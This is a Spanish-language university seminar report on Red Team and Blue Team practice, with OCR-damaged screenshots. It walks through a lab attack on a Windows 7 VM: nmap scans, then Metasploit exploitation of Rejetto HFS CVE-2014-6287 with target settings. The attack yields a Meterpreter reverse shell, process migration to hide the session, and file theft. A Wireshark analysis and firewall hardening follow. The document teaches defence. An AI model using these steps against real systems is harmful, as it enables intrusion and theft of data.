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Resumen

Se platea realizar la etapa final del seminario de investigacion de los equipos
RedTeam y BlueTeam, finalizamos despues de un largo camino recorrido entre los
diferentes planteamientos como lo son la parte legal, explorar mediante un
laboratorio el funcionamiento de RedTeam y finalmente tambien por medio de un

laboratorio el funcionamiento de BlueTeam.

Palabras clave: Red Team, Blue Team.



Abstract

It is planned to carry out the final stage of the research seminar of the RedTeam and
BlueTeam teams, we finish after a long journey between the different approaches
such as the legal part, exploring the operation of RedTeam through a laboratory and

finally also through a laboratory the operation of BlueTeam.

Keywords: Red Team, Blue Team.
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1. Glosario

BlueTeam: Equipo de seguridad que esta destinado a contener ataques de
seguridad, por lo generar usan herramientas de monitoreo.

Escaneo de vulnerabilidades: se realiza con software especializado cuyo
objetivo es detectar vulnerabilidades en el sistema.

Firewall: como su nombre lo indica es una pared que bloquea puertos abiertos en
los sistemas y solo permite trafico determinado.

Pilar: Soporte o base fundamental que se rige un sistema o proceso.

RedTeam: Equipo de seguridad enfocado en realizar pruebas de penetracion a la
organizacion con lineamientos y alcances definidos.

SO: Sistema operativo.

Puerto: es una interfaz virtual por la cual se envian y reviven paquetes
informaticos.



2. Introduccion

El tema para tratar en este trabajo es concluir con el seminario de investigacion de
RedTeam y BlueTeam, esta conclusion se da después de recorrer un camino, un
camino que realizamos desde diferentes aspectos el primer aspecto temas legales
leyes que se involucran para estos equipos, en donde exploramos consecuencias
legales de un contrato mal realizado para un RedTeam, y sus consecuencias en
aceptar este tipo de contratos, luego pasamos un laboratorio explorando
condiciones reales de un ataque en donde se pierde informacién y como se replica
dicho ataque para poder entender como operaban los ciberdelincuentes finalmente
pasamos al BlueTeam en donde contuvimos el ataque a partir del mismo laboratorio

echando mano de software libre y de conocimiento de como se realizé el ataque.

Todo ese camino recorrido nos lleva a afrontar en el mundo real como se
desenvuelven estos dos equipos el RedTeam y el BlueTeam sin dejar de lado temas
legales que son muy importantes, ahora lo concluiremos en este trabajo
plasmaremos lo aprendido y concluiremos, ademas de realizar un video en el cual

sustentaremos nuestro camino.



3. Objetivos

3.1 Objetivo General

Formular estrategias de capacidades técnicas, legales y de gestion para equipos

BlueTeam y RedTeam.

3.2 Objetivos Especificos

Desarrollar aspectos que aporten a las estrategias de RedTeam y BlueTeam.

Generar un resumen de las actividades de RedTeam y BlueTeam.

Analizar desde el punto de vista legal.

Realizar recomendaciones para el planteamiento de estrategias de seguridad en

una organizacion.

Realizar un video que sustente el desarrollo del seminario de especializacion en

RedTeam y BlueTeam.



4. Capacidades técnicas, legales y de gestion para equipos BlueTeam y
RedTeam

4.1 Aspectos que aporten al desarrollo de estrategias de RedTeam &
BlueTeam

De acuerdo a lo realizado durante el seminario se puede determinar tres aspectos
como pilares principales al desarrollo de estrategias de RedTeam y BlueTeam,
primero coloco los aspectos legales como lo son en Colombia la ley 1273 del 2009,
1377 de 2013 y la ley 1581 de 2012, estas leyes apalancan los alcances que se
pueden realizar en estos equipos de seguridad, como lo vimos en uno de los
trabajos anteriores un mal contrato llevaba a realizar espionaje infringiendo la ley
con penas de carcel por no tomar en cuenta estos aspectos y leer bien los contratos

y limitar las actividades de los equipos.

Segundo pilar equipo RedTeam el equipo rojo realiza la ejecucién del ataque para
determinar como se realiz6 la perdida de informacion, en esta parte se realizan las
pruebas de penetracion desde una maquina Kali Linux a la maquina virtual de la

empresa WhiteHose Security.

Tercer pilar equipo BlueTeam este equipo azul realiza el analisis de la prueba de
penetracién y detecta la mejor forma de bloquear el ataque por medio de

herramientas de software libre y bloqueos del firewall de Windows.

Ahora bien, para el ejercicio de la empresa The WhiteHose Security, se va a
desarrollar estos tres pilares, primero se revisara a nivel legal en este aspecto el
atacante incurrira en lo siguiente: en la ley 1273 de 2009 articulo 269C intercepcién
de datos informaticos, “Articulo 269C: Interceptacion de datos informaticos. El que,
sin orden judicial previa intercepte datos informaticos en su origen, destino o en el
interior de un sistema informatico, o las emisiones electromagnéticas provenientes

de un sistema informatico que los transporte incurrira en pena de prision de treinta



y seis (36) a setenta y dos (72) meses.”" el atacante esta descargando mediante la
vulnerabilidad informacién de la empresa y tiene como pena 36 a 72 meses de

carcel.

RedTeam, este equipo empieza a realizar una prueba de penetracion en la maquina
virtual con el indicio de una vulnerabilidad en el servicio de rejetto, como se muestra
en la imagen 1, el servidor cuenta con el servicio de rejetto expuesto en el puerto

8080, y desde una maquina con Kali Linux se realizara las pruebas.

Imagen 1, esquema de arquitectura.

8080

'y

=

Fuente (el autor)

Luego se empieza a realizar los escaneos desde el Kali Linux con la herramienta
nmap, como se muestra en la figura 2, “la siguiente fase es identificar cualquier
puerto de servicio abierto en el sistema objetivo y determinar qué servicios estan

mapeados con esos puertos abiertos”?:

' SECRETARIA GENERAL DEL SENADO [sito web], LEY 1273 DE 2009. [consulta: 28 de
marzo 2022). Disponible en:
http://www.secretariasenado.gov.co/senado/basedoc/ley_1273_2009.html

2SIBGH, Glen D.; The Ultimate Kali Linux Book: Perform advanced penetration testing using
Nmap, Metasploit, Aircrack-ng, and Empire; 2nd Edition; texto en inglés. p198



Imagen 2, ejecucién de nmap al servidor Windows

S mE P D]

File Actions Edit View Help

unknown
unknown
unknown
unknown
unknown
unknown

> address (1 host up) scanned in 5.85 seconds

Fuente (el autor)

Dentro de los puertos escaneados se identifica el puerto de rejetto puede ser el 80
o el 8080, se corre un comando de nmap con mas opciones para identificar mejor
el puerto, “un escaneo avanzado para determinar el sistema operativo de objetivo,
version del servicio y escaneo de scripts, como para realizar un rastreo de ruta,

utilizando el siguiente comando”?:

nmap -T4 -A -v 192.168.0.20

3 SIBGH, Glen D.; The Ultimate Kali Linux Book: Perform advanced penetration testing using
Nmap, Metasploit, Aircrack-ng, and Empire; 2nd Edition; texto en inglés. p199



Imagen 3. ejecucién de nmap con opciones de identificar software en los puertos

N eomPor]

kali@kali: ~

File Actions Edit View Help

TRACE GET HEAD POS
: TRACE

ft-ds (

ft HTTPAPI httpd PnP)
soft HTTPAPI httpd [

7597 DD4EFBEG

: GET HEAD POST
open http Mi ft HTTPAPI
Not Found
header: Microsoft-HTTPAPI
open mMSTrpcC M ft ¥
open  msrpc F
open msrpc
open msrpc
open
open
ce Info: Hos WIN7 ; i H cpe :microsoft:windows

LT T T

e VirtualBox virtual NIC)

Fuente (el autor)

Se identifica en la imagen 2 que el puerto es el 8080 se muestra la salida del

comando que este puerto es de HFS 2.3, que es rejetto.

Procedemos a realizar un analisis mas detallado de ese puerto como se muestra en

la imagen 3:



Imagen 4. ejecuciéon de nmap especifico del puerto 8080

Nmap
Host is up

PORT STATE SERVICE
‘tcp open http tt L r httpd

| _http-title

microsoft:windows

sction p :
1 IP add s (1 host

Fuente (el autor)

Con una pequefa busqueda en internet se da cuenta de que es el puerto de

programa rejetto y es lo que necesitamos, como se muestra en las imagenes 5y 6

Imagen 5, busqueda en Google

wJle 080/tcp open hitp HitpFileServer hitpd 2.3 b4 !, Q,

[E) Noticias [+] Videos ¢ Maps ) Imagenes i Mas Herramientas

Cerca de 31,600 resultados (0.44 segundos)

https:fiforum.hackthebox com » op.. ¥ Traducir esta pagina

Optimum write-up by Alamot - Writeups - Hack The Box :: Forums
28 oct 2017 — Enumeration Port scanning We scan the full range of TCP ports using ... 80/tcp
open http HttpFileServer httpd 2.3 |_http-server-header HFS

https:fimedium.com » ... ~ Traducir esta pagina

HTB optimum Writeup - Medium
30 dic 2019 — 80/tcp open http HttpFileServer httpd 2.3 |_http-server-header: .. 2 Rejetto
HTTP File Server (HFS) 2.3 x — Remote Command Execution (1)

https:/iww.jdksec.com » optimum ~ Traducir esta pagina

Optimum - Hacking

80/tcp open hitp HitpFileServer httpd 2.3 Copied! Vulnerability Exploited: Rejetto HTTP File
Server (HFS) 2.3.x - Remote Command Execution.

https:/iwww.exploit-db.com » expl... * Traducir esta pagina

Rejetto HTTP File Server (HFS) 2.3 x - Exploit Database]

4 ene 2016 — Rejetto HTTP File ServiE2HFS) 2.3.x - Remote Command Execution (2). CVE-
2014-6287CVE-111386 . remote exploit for Windows platform.

Fuente (el autor)



Imagen 6, resultado de la busqueda en google

exploit-db.com/exploits/39161 55 F O 2 5 <
C @ exploitdb loits/3916 2 % ® O B2 5B

01T
ASE

I
S

PL
AB

Rejetto HTTP File Server (HFS) 2.3.x - Remote Command Execution (2)

EDB-ID: CVE: Author: Type: Platform: Date:

2014-6287 AVINASH THAPA REMOTE WINDOWS

EDB Verified: Exploit: ¥ / {} Vulnerable App: B

Fuente (el autor)

En primer lugar, ya es un software viejo con lo que lleva que si esta mucho tiempo
en el mercado es propenso a que tenga vulnerabilidades porque ya no tiene soporte
0 porque no se actualiza depende de librerias viejas y eso hace que se pueda

explotar.

La vulnerabilidad encontrada en este software es la siguiente:
CVE-2014-6287

En la base de datos de “cve details” indican que la vulnerabilidad es por:

“The findMacroMarker function in parserLib.pas in Rejetto HTTP File Server (aks
HFS or HttpFileServer) 2.3x before 2.3c allows remote attackers to execute arbitrary

programs via a %00 sequence in a search action.”

Traduccion: “La funcion findMacroMarker en parserLib.pas en Rejetto HTTP File
Server (también conocido como HFS o HttpFileServer) 2.3x anterior a 2.3c permite
a atacantes remotos ejecutar programas arbitrarios a través de una secuencia %00

en una accion de busqueda.”

Por lo que depende de una funcién del software parserLib.pas

4 CVEDETAILS [sito web] Vulnerability Details, CVE, CVE-2014-6287 [Consulta: 28 de
marzo 2022]. Disponible en: https://www.cvedetails.com/cve/CVE-2014-6287/



Se realiza el ataque por medio de Metasploit para realizar la penetracion de la

vulnerabilidad como se muestra en la imagen 7:

Imagen 7. ejecucion de metasploit

File Actions Edit View Help

le

Fuente (el autor)

Como dice en el libro de Metasploit: The Penetration Tester's Guide “Muchas
aplicaciones y servicios carecen de modulos personalizados en Metasploit.
Afortunadamente, Framework tiene muchas funciones que pueden ser utiles cuando
crea un escaner personalizado, incluido el acceso a todas sus clases de explotacion.
y métodos, y soporte para proxies, capa de sockets seguros (SSL), informes y

subprocesos.”

Se observa que el Framework tiene un exploit disponible para nuestro ataque,

después lo colocamos en uso como se muestra en la imagen 8:

> KENNEDY, David; O'GORMAN, Jim; KEARNS, Devon y AHARONI Mati; Metasploit: The
Penetration Tester's Guide 1st Edicion; texto en inglés. p31



Imagen 8, uso del expliot

Fuente (el autor)

En esta parte se ejecuta un comando que ayuda a verificar que parametros se

necesitan para poder ejecutar el exploit el cual es, imagen 9:
show options

Imagen 9, salida del comando show options

msf6 exploit( ) > show options
Module options (exploit/windows/http/rejetto_hfs_ex
Name Curre g ti Required Des

HTTPDELAY

: tions
t ¢ t C 1t is randomly generated)

TARGETURI
URIPATH
VHOST

everse_tcp):
cription

, none)

Fuente (el autor)

Se ingresan las variables necesarias para poder ejecutar el exploit, como se

muestra en la imagen 10:



Imagen 10, set de variables.

et RHOSTS 192.168.0.20

et RPORT 8¢

et SRVHOST 192.168.0.45

Fuente (el autor)

Y finalmente se ejecuta el exploit, imagen 11:

Imagen 11, ejecucion de exploit

149460 ) at 21:03:029 -@500

SfolLDvl.vbs' on the target

Fuente (el autor)

Y felizmente se ingresa a la maquina y se tiene una Shell reversa, esta parte es muy
importante entender que gracias a una vulnerabilidad se puede tener control remoto
de la maquina, como se indica en el libro de Metasploit: The Penetration Tester's
Guide “Habiendo comprometido con éxito el objetivo y obtenido una consola
Meterpreter en el sistema, podemos obtener mas informacion con algunos

Meterpreter basicos”®

Por ejemplo, con sysinfo verificamos los datos del Windows, como se muestra en la

imagen 12:

¢ KENNEDY, David; O'GORMAN, Jim; KEARNS, Devon y AHARONI Mati; Metasploit: The
Penetration Tester's Guide 1st Edicidn; texto en inglés. p80



Imagen 12, salida sysinfo

> sysinfo
WINT
Windows 7 (6.1 Build 7¢

Logged On Users
Meterpreter

Fuente (el autor)

Ver los procesos que corren en dicha maquina, imagen 13:

Imagen 13, procesos del servidor desde el exploit

ession User

7\usuario

4
]

o B

=

-

Fuente (el autor)

Se puede cambiar el PID de usuario que esta conectado y se puede usar el servicio

explorer.exe para podernos ocultar la conexién, imagen 14 y 15:



Imagen 14, PID de usuarios

usuario

4 ost

1580 1392 explorer.exe %86 1 win7\usuario C:\Windows\Explorer.EXE

4

Fuente (el autor)

Imagen 15, Cambio de PID de usuario

Fuente (el autor)

También se puede ver ip de la maquina, imagen 16:
Imagen 16, salida del comando ifconfig
meterpreter > ifconfig
Interface 1

=

orio Intel(R) PRO/1008 MT

TAP de Microsoft
ee

Fuente (el autor)



Y bueno lo importante es como poder sacar informacion de la maquina:
Se ve el directorio, imagen 17:

Imagen 17, salida del comando dir

ts
Cookies
Datos de
Desktop
Documents

Favorites
Impresor

DA’

DA

DA’
000!

at.L0G1
at.L0G2
ntuser.

Fuente (el autor)
Y se esta por ejemplo a escritorio en donde se crea un archivo de texto para mostrar

un ejemplo, imagen 18:

Imagen 18, archivo en el servidor Windows

Fuente (el autor)



Se puede entrar al archivo desde el metasploit y poderlo editar, imagen 19:

Imagen 19, ejemplo de edicion del archivo.

0

Shell No. 1

File Actions Edit View Help

ra Archivo importante para la empresa EDITADOJ

Fuente (el autor)

Y verificar que cambio, como se muestra en la imagen 20:

Imagen 20, muestra de que el archivo se edité desde el Kali Linux

> edit Archivo\ importan

1ivo', importan
ra la empresa

Fuente (el autor)

Y lo mas importante descargarlo del servidor imagen 21 y 22:

Imagen 21, copiando archivo.

e para la empres

): Arch [ i/Archivo importante.txt
‘ho vo important

Fuente (el autor)



Imagen 22, muestra de que el archivo se copia al Kali Linux

43 Mar 'Archivo importante.txt’
Feb
2=14]
2=14]
Feb
Feb
2=14]
Feb

ali kali 4896 Feb

el el el v el

p\Deskt

Typ [
C te.txt
fil te para la empresa EDITADO
dir
fil
fil

Y impo -
la empr

vol, imp

Fuente (el autor)

Se puede concluir que exactamente por la vulnerabilidad CVE-2014-6287, la cual
cuenta con un exploit se pude usar herramientas como nmap y metasploit para

poder ingresar al servidor y poder extraer informacion confidencial de la empresa.

Ahora para el equipo BlueTeam ellos realizan un analisis de dicha informacion y por
medio de herramientas de software libre como wireshark, y el firewall propio de

Windows podemos cerrar la brecha:

Lo primero que se realiza es encontrar como se esta realizando el ataque, hay varias
formas, pero dado a que solo se puede usar herramientas open source, usaremos
un scaner de red para nuestro caso usaremos wireshark ya que es una herramienta

open source como se muestra a continuacion en la imagen 23:



Imagen 23, licencia wireshark.

e e N er e g e e ) S S e )t IR he fa 1 R e el A § R ey Sy £t fd 1) 1 1 i s

How much does Wireshark cost?
Wireshark is "free software”; you can download it without paying any license fee. The version of Wireshark you download isn’t a "demo” version, with limitations not presentin a
"full" version,; it is the full version.

The license under which Wireshark is issued is the GNU General Public License version 2. See the GNU GPL FAQ for some more information.

Fuente (el autor)

“The license under which Wireshark is issued is the GNU General Public License

version 2. See the GNU GPL FAQ for some more information.””

Se descarga y se instala en el Windows 7, como se muestra en las imagenes 24,
25y 26

Imagen 24, pagina de Wireshark

about:sessionrestare x M Wireshark - Go Deep. x + E@E
e (¢] QO B hups//wwwwireshark.org & =
N | (S .
NEWS Get A ted Get Helj Devel SharkFest
WIRESHARK et Acquainted v et Help v evelop v

Download Learn Go Beyond

Get Started Now Il Knowledge is Power With SharkFest Sponsors

Fuente (el autor)

" WIRESHARK [sitio web], Wireshark Frequently Asked Questions [Consulta: 28 de marzo
2022]. Disponible en:
https://www.wireshark.org/faq.html#:~:text=Wireshark%20is%20%22free %20software %22
%3B,General%20Public%20License%20version%202.


https://www.gnu.org/licenses/gpl-2.0.html
https://www.gnu.org/licenses/gpl-2.0.html
https://www.gnu.org/licenses/old-licenses/gpl-2.0-faq.html

Imagen 25, descarga de Wireshark

Download Wireshark

Abriende Wireshark-win64-3.6.2.exe
Ha elegido abrir:

Stable Release (3.6.2) » February 10, 2022 = Wireshark-win64-3.6.2.exe
que es: exe File (73,9 MB)

" A de: https://.na.dl.wireshark.
& Windows Installer (64-bit) it

Windows Installer (32-bit)
windows PortableApps® (64-bit)
Windows PortableApps® (32-bit)
macOS$ Arm 64-bit .dmg

macOS Intel 64-bit .dmg

;Desea guardar este archivo?

Fuente (el autor)

Imagen 26, instalando Wireshark

M \ireshark 36.2 32-bit Setup =N o] '

Welcome to Wireshark 3.6.2 32-bit
Setup

This wizard will guide you through the installation of

Wireshark,

Before starting the installation, make sure Wireshark is not
running.

Click ‘'Next’ to continue,

Next > Cancel

Fuente (el autor)

Después de una captura se analiza el trafico:
Esta parte lo realice en otra maquina dado que en el Windows 7 estaba muy lento:

Para fines del desarrollo mostrare las ip de las maquinas:



Windows 7: 192.168.0.16
Kali Linux: 192.168.0.45
Analisis:

Lo que se empieza a rastrear son conexiones a los puertos que tiene el servidor ya
que en nuestro caso es un servidor de HFS, buscamos conexiones al puerto 8080

el cual es el que esta exponiendo el servicio, imagen 27:

Imagen 27, imagen del servicio expuesto.

<« C A Noseguro | 192.168.0.16:8080

& User
’7 Login

™ —/ Folder

No files in this f

' Home

0 folders, 0 files, 0 bytes

_‘.’/ Search————— ]
[ Y
[ db Select

|EH Invert || Mask |

0 items selected

rH Adtions

| Archive | | Getlist |

%% Server information
HttpFileServer 2.3
Server time: 15/03/2022 07:45:33 p.m.
Server uptime: 00:01:40

Fuente (el autor)

Luego se busca un patrén como lo es los puertos de origen a la conexion, en
seguridad informatica para que meterpreter puede hacer una Shell como se hizo en
el trabajo anterior por lo general usa el puerto 4444, y nos vamos a centrar a estas
conexiones con puerto origen 4444, (hay que aclarar que este puerto se puede
cambiar, pero para encontrar conexiones por defecto de meterpreter esta bien

buscar estas conexiones).

Y encontramos lo siguiente expresado en la imagen 28 y 29:



Imagen 28, traza de trafico de Kali Linux y servidor Windows.

51 2022-03-15 21:05:40,907064145 192.168.0.45 192.168.0.16 TcP 166 4444 > 49177 |PSH, ACK] Seq=1 Ack=1 Win=1353 Len=112

52 2022-03-15 21:05:40,946117736 192.168.0.16 192.168.0.45 TcP 6694 49177 > 4444 [PSH, ACK] Seq=1 Ack=113 Win=252 Len=6640
53 2022-03-15 21:05:40,946154228 192.168.0.45 192.168.0.16 TcP 54 4444 > 49177 [ACK] Seq=113 Ack=6641 Win=1457 Len=e

55 2022-03-15 21:05:41,818899702 192.168.0.45 192.168.0.16 TcP 166 4444 > 49177 [PSH, ACK] Seq=113 Ack=6641 Win=1457 Len=112
56 2022-03-15 21:05:41,844089494 192.168.0.16 192.168.0.45 TcP 6694 49177 > 4444 [PSH, ACK] Seq=6641 Ack=225 Win=252 Len=6640
57 2022-03-15 21:05:41,844117210 192.168.0.45 192.168.0.16 TcP 54 4444 > 49177 [ACK] Seq=225 Ack=13281 Win=1561 Len=0

Fuente (el autor)

IP de origen: 192.168.0.45
IP destino: 192.168.0.16

Imagen 29, muestra detallada de los puertos usados en la conexién

‘ Wireshark - Packet 51 . test.pcapng

Source Address: 192.168.0.45
Destination Address: 192.168.0.16
v Transmission Control Protocol, Src Port: 4444, Dst Port: 49177, Seq: 1, Ack: 1, Len
Source Port: 4444
Destination Port: 49177
[stream index: @]
[Conversation completeness: Incomplete (12)]
[TCP Segment Len: 112]

Sequence Number: 1 (relative sequence number)

Sequence Number (raw): 94545391

[Next Sequence Number: 113 (relative sequence number)]
Acknowledgment Number: 1 (relative ack number)

Acknowledgment number (raw): 279389218
@101 .... = Header Length: 20 bytes (5)
v Flags: exe18 (PSH, ACK)
@e0. .... .... = Reserved: Not set
...® ... ..., = Nonce: Not set
vees Buv. o... = Congestion Window Reduced (CWR): Not set

)
J
J
J

=
=
- -

08 ee 27 e7 43 83 ©8 @@ 27 95 bd 54 ©8 80 45 ee +'eCrrs "eeTe-E-
00 98 3e 44 40 90 40 06 7a 8e @ a8 00 2d co as >D@-@- zccc--
10 11 5c c@ 19 B85 a2 a5 ef 1@ a7 24 la 5@ 18 o .

[

) @«
I I
[

) ©

=
=
]
=
@
@

49 0

-.m:q--.

Ve ee==0 |"C"'\
q‘G._D,...
T Es@u s

Fuente (el autor)



Puerto 4444: Se usa como puerta trasera, Caballo de troya, y en multiples usos para
espiar trafico crear Shell reversas como es este caso con meterpreter y en multiples
usos. “Puerto 4444, Protocolo de control de transporte: Algunos programas de
rootkit , puerta trasera y caballo de Troya se abren y utilizan el puerto 4444. Utiliza
este puerto para espiar el trafico y las comunicaciones, para sus propias
comunicaciones y para exfiltrar datos de la computadora comprometida. También
se utiliza para descargar nuevas cargas utiles maliciosas. Malware como el gusano
Blaster y sus variantes usaban el puerto 4444 para establecer puertas traseras.”®

Ver imagen 30

Imagen 30, muestra del uso del puerto por la Shell reversa

3-15 22:48:47 -04L00

Fuente (el autor)

En la conexidon que se hace desde el Kali Linux el usa el 4444 para poder realizar la

conexion.

Para hardenisar el servidor lo primero que se va a hacer el subir el firewall y bloquear
el puerto 4444.

Lo primero que se hace es activar el firewall de Windows, se muestra en las

imagenes 31, 32y 33:

8 TEMAS RELACIONADOS CON INTERNET TECNOLOGIA Y LA CIENCIA [sitio web],
Porque algunos puertos de red son peligrosos y como se protegen. [consulta: 28 de
marzo 2022]. Disponible en: https://www.clasesordenador.com/porque-algunos-puertos-
de-red-son-peligrosos-y-como-se-protegen/



Imagen 31, panel de control de Windows
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Imagen 32, Firewall desactivado.

Personalizar la configuracion de cada tipo de red
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Puede modificar la configuracion del firewall para cada tipe de ubicacion de red que use.

;Qué son las ubicacicnes de red?
Configuracion de ubicacién de red doméstica o del trabajeo (privada)
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Fuente (el autor)
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Imagen 33, Firewall activo
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Fuente (el autor)

Una vez activo se procede a crear una regla especifica para el puerto 8080 el cual

es el servicio, se muestra en la imagen 34 y 35:

Imagen 34, configuracion de la regla de firewall.
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Fuente (el autor)



Imagen 35, configuracion de la regla con el puerto 8080
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Fuente (el autor)

Y después se procede a cerrar las conexiones origen para que no se puede conectar
con el puerto 4444, imagen 36:

Imagen 36, configuracion de la regla con los puertos origen.
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Fuente (el autor)



Llama a la regla UNAD, se prueba que no se pueda conectar desde un navegador

al servicio que es para lo que lo necesitamos:

Imagen 37, regla configurada.
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Fuente (el autor)

También se cierra las conexiones a los demas puertos solo dejamos la conexion
8080.

Y Finalmente se prueba que no se puede explotar la vulnerabilidad con Metaexploit:

Imagen 38, ejecucion fallida del exploit.

Using URL
Local IP:
ver started.

rver stopped.
Exploit completed, but no session was
exploit(

Fuente (el autor)



4.2 Recomendaciones para el planteamiento de estrategias que permitan
endurecer los aspectos de seguridad en una organizacion

Las recomendaciones que se pueden dar de acuerdo a lo visto en este seminario

son las siguientes:
Creacion de equipos de RedTeam y BlueTeam en la organizacion.
Definir metodologias de implementacion de dichos equipos.

Dentro de las actividades del RedTeam definir claramente los alcances que se

tienen para realizar pentest en la compainia.

Proveer de herramientas al equipo BlueTeam, herramientas basicas como un SIEM,
definir el monitoreo 7x24, y si existe un incidente de seguridad que se detecte tener

una via de ruta definida para mitigar o detener el ataque.

Capacitar técnicamente al personal de los dos equipos RedTeam y BlueTeam,

llevarlos a seminarios, pagarles cursos, etc.

Capacitarlos en aspectos legales a los dos equipos para poder tener una visidén mas

amplia del panorama de seguridad.
Realizar seguimiento constante y mejorar el proceso cada vez que se requiera.

También es importante que los altos directivos de la empresa se involucren en estas
actividades primero para que sepan lo peligroso que puede ser no invertir en
seguridad segundo para que tengan claro los lineamientos y conozcan las

limitaciones que pueden tener estas actividades en la compaiiia.

4.3 Link del Video

Link: https://youtu.be/7CmGmfaKuKc



https://youtu.be/7CmGmfaKuKc

5. Conclusiones

Se explora con un ejemplo practico los alcances y roles de los equipos RedTeam y
BlueTeam, realizando un ataque a una maquina virtual a la cual se le estaba
atacando para filtrar informacién, el RedTeam realiza el ataque y muestra como se
realiza la filtracion de la informacion y el BlueTeam realiza acciones para no permitir
el ataque, este escenario practico de la empresa WhiteHose Security, es perfecto

para poder aprender los alcances de estos dos equipos en el mundo real.

También se explora aspectos legales que incurren los atacantes en dado caso que
se pueda determinar quién esta haciendo el robo de informacién para poderlo
denunciar por lo siguiente: en la ley 1273 de 2009 articulo 269C intercepcién de
datos informaticos, el atacante esta descargando mediante la vulnerabilidad

informacion de la empresa y tiene como pena 36 a 72 meses de carcel.

Ademas de las dos conclusiones anteriores también aprendimos el uso de
herramientas como nmap, Metasploit para realizar ataques para pruebas de

penetracion y poder explorar en el mundo real estas herramientas como interactuan.

Aprendimos a poder contener un ataque en este caso un ataque de robo de
informacion, y como poder detenerlo con el uso basico de firewall conociendo como
se realiza el ataque podemos bloquear los puertos y detener el ataque sin bajar el

servicio expuesto con la vulnerabilidad.



6. Recomendaciones

Las organizaciones deben contar con los equipos RedTeam y BlueTeam, es muy
importante para poder blindar poco a poco las vulnerabilidades de la compaifiia,
constante mente las companias son atacadas y es necesario realizar auto ataques
con probas de penetracidon controladas con el RedTeam con esto se logra detectar

vulnerabilidades y mejorar los tiempos de respuesta del BlueTeam.

Mejorar dia tras dia con implementaciones de metodologias para los dos equipos y
capacitaciones constantes en lo legar y lo técnico para mejorar el alcance de los

equipos.

Mostar estas actividades a los altos mandos para que entiendan los problemas que
se pueden presentar si no se invierte en estos equipos y en ejercicios constantes
de seguridad ya que la pregunta no es si nos pueden atacar si no cuando nos

atacaran y si nos atacan ¢ estamos preparados?



7. Bibliografia

SIBGH, Glen D.; The Ultimate Kali Linux Book: Perform advanced penetration
testing using Nmap, Metasploit, Aircrack-ng, and Empire; 2nd Edition; ISBN-13: 978-
1801818933

HERTZOG, Raphael y O'GORMAN Jim; Kali Linux Revealed: Mastering the
Penetration Testing Distribution; ISBN-10: 0997615605

KENNEDY, David; O'GORMAN, Jim; KEARNS, Devon y AHARONI Mati; Metasploit:
The Penetration Tester's Guide 1st Edicion; ISBN-10: 159327288X

JASWAL, Nipun; Mastering Metasploit: Exploit systems, cover your tracks, and
bypass security controls with the Metasploit 5.0 framework; 4th Edition; ISBN-10:
1838980075

TEIXEIRA, Daniel; SINGH, Abhinav y AGARWAL Monika; Metasploit Penetration
Testing Cookbook - Third Edition: Evade antiviruses, bypass firewalls, and exploit
complex environments with the most widely used penetration testing framework 3rd
Revised edition Edicion; ISBN-10: 1788623177

CHAPPELL, Laura; Wireshark® 101: Essential Skills for Network Analysis - Second
Edition: Wireshark Solution Series; ASIN: BO6XRXLSB9

BOCK, Lisa; Learn Wireshark: Confidently navigate the Wireshark interface and
solve real-world networking problems; ISBN-10: 1789134501

Wireshark Network Analysis (Second Edition) [Andnimo]: The Official Wireshark
Certified Network Analyst Study Guide 2nd Revised ed. Edicion; ISBN-10:
1893939944



DUNKERLEY, Mark y TUMBARELLO, Matt; Mastering Windows Security and
Hardening: Secure and protect your Windows environment from intruders, malware
attacks, and other cyber threats, ISBN-10: 1839216417

BOYCE, Jim; Windows 7 Bible 3rd Edicién; ISBN-10: 0470509090

THOMAS, Arun E; Security Operations Center - SIEM Use Cases and Cyber Threat
Intelligence; ISBN-10: 1986862011

MILLER, David R.; HARRIS, Shon, HARPER, Allen; VANDYKE, Stephen y BLASK
Chris; Security Information and Event Management (SIEM) Implementation
(Network Pro Library) 1st Edicion; ASIN: BOO4BKIFDY

CLARK, Ben; Rtfm: Red Team Field Manual Tapa blanda — 11 febrero 2014; ISBN-
10: 1494295504

VEST, Joe y TUBBERVILLE, James; Red Team Development and Operations: A
practical guide; ISBN-13: 979-8601431828

MURDOCH, Don; Blue Team Handbook: SOC, SIEM, and Threat Hunting (V1.02):
A Condensed Guide for the Security Operations Team and Threat Hunter; ISBN-10:
1091493898

TANNER, Nadean H.; Cybersecurity Blue Team Toolkit 1st Edicion; ISBN-10:
1119552931

SECRETARIA GENERAL DEL SENADO [sito web], LEY 1273 DE 2009. [consulta:
28 de marzo 2022]. Disponible en:
http://www.secretariasenado.gov.co/senado/basedoc/ley 1273 2009.html



CONSEJO PROFESIONAL NACIONAL DE INGENIERIAS ELECTRICA,
MECANICA'Y PROFESIONES AFINES [sitio web], LEY 842 DE 2003, [consulta: 28
de marzo 2022]. Disponible en:

https://www.consejoprofesional.org.co/resources/uploaded/files/files/LEY %20842%
20DE%202003(1).pdf

MINISTERIO DE TECNOLOGIAS DE LA INFORMACION Y LAS
COMUNICACIONES [sitio web], ley 1273 del 5 de enero de 2009. [consulta: 28 de
marzo 2022]. Disponible en: https://www.mintic.gov.co/portal/604/articles-
3705_documento.pdf.

CVE DETAILS [sitio web], cvedetails Vulnerability Details: CVE-2014-6287,
[consulta: 28 de marzo 2022]. Disponible en: https://www.cvedetails.com/cve/CVE-
2014-6287/

RAPID7 [sitio web], Rejetto HttpFileServer Remote Command Execution, [consulta:
28 de marzo 2022]. Disponible en:
https://www.rapid7.com/db/modules/exploit/windows/http/rejetto _hfs_exec/

ADVANCE YOUR KNOWLEDGE IN TECH [sitio web], Vulnerability analysis of HFS
2.3. [consulta: 28 de marzo 2022]. Disponible en:
https://subscription.packtpub.com/book/networking_and_servers/9781786463166/1
/chO1Ivl1sec20/vulnerability-analysis-of-hfs-2-3.

EXPLOIT DATABASE [sitio web], Rejetto HTTP File Server (HFS) 2.3.x - Remote
Command Execution (2), [consulta: 28 de marzo 2022]. Disponible en:
https://www.exploit-db.com/exploits/39161

CYBERSEGURIDAD [sitio web], Las fases de un test de penetracién. [consulta: 28
de marzo 2022]. Disponible en: https://www.cyberseguridad.net/las-fases-de-un-
test-de-penetracion-pentest-pentesting-i

ORACLE [sitio web], {Qué es un WAF? [consulta: 28 de marzo 2022]. Disponible
en: https://www.oracle.com/es/database/security/que-es-un-waf.html



INFOTECS [sitio web], IPS: Sistema de Prevencion de Intrusos, [consulta: 28 de
marzo 2022]. Disponible en: https://infotecs.mx/blog/ips-sistema-de-prevencion-de-
intrusos.html

NSIT - CIBERSEGURIDAD, SISTEMAS Y TECNOLOGIA INFORMATICA (TI) [sitio
web], ;Qué es SIEM en seguridad informatica? Alcance e implementacion,
